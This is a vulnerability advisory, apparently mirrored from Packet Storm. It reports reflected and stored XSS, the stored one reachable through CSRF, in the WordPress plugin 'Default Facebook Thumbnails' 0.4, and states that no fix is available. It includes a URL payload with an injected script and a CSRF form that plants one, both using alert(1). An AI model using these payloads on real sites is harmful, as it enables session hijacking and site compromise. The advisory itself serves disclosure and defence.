Lucene search
K

WordPress Default Facebook Thumbnails 0.4 Cross Site Scripting

🗓️ 30 Jul 2015 00:00:00Reported by Morten NortoftType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 20 Views

WordPress 'Default Facebook Thumbnails' Plugin v0.4 XSS/CSR

Code
`Title: WordPress 'Default Facebook Thumbnails' Plugin   
Version: 0.4  
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej  
Date: 2015-06-13  
Download:   
- https://wordpress.org/plugins/default-facebook-thumbnail/  
- https://plugins.svn.wordpress.org/default-facebook-thumbnail/  
Notified WordPress: 2015-06-21  
==========================================================  
  
## Plugin description  
==========================================================  
This plugin adds a og:image tag to your head with the input/upload of the image in the settings.  
  
## XSS/CSRF Vulnerabilities  
==========================================================  
The request URI is echo'ed into the HTML page without sanitization. This can be exploited with a direct link to the vulnerable file (keep in mind that most modern browsers encode the url).  
  
PoC:  
[URL]/wp-content/plugins/default-facebook-thumbnail/fb_thumbnail_admin.php?/"><script>alert(1)</script>  
  
The "Upload Image or URL" field in the admin-settings page is vulnerable to stored XSS. This can be exploited by utilizing a CSRF vulnerability.  
  
PoC:  
Log in as admin and submit this form:  
  
<form method="POST" action="http://[URL]/wp-admin/admin.php?page=fb_thumbs">   
<text>upload image: </text>  
<input type="text" name="upload_image" value=""><script>alert(1)</script>"><br />  
<text>fb_thumb_hidden: </text>  
<input type="text" name="fb_thumb_hidden" value="Y" readonly><br />  
<input type="submit">  
</form>  
  
  
## Solution  
==========================================================  
No fix available  
  
==========================================================  
XSS vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation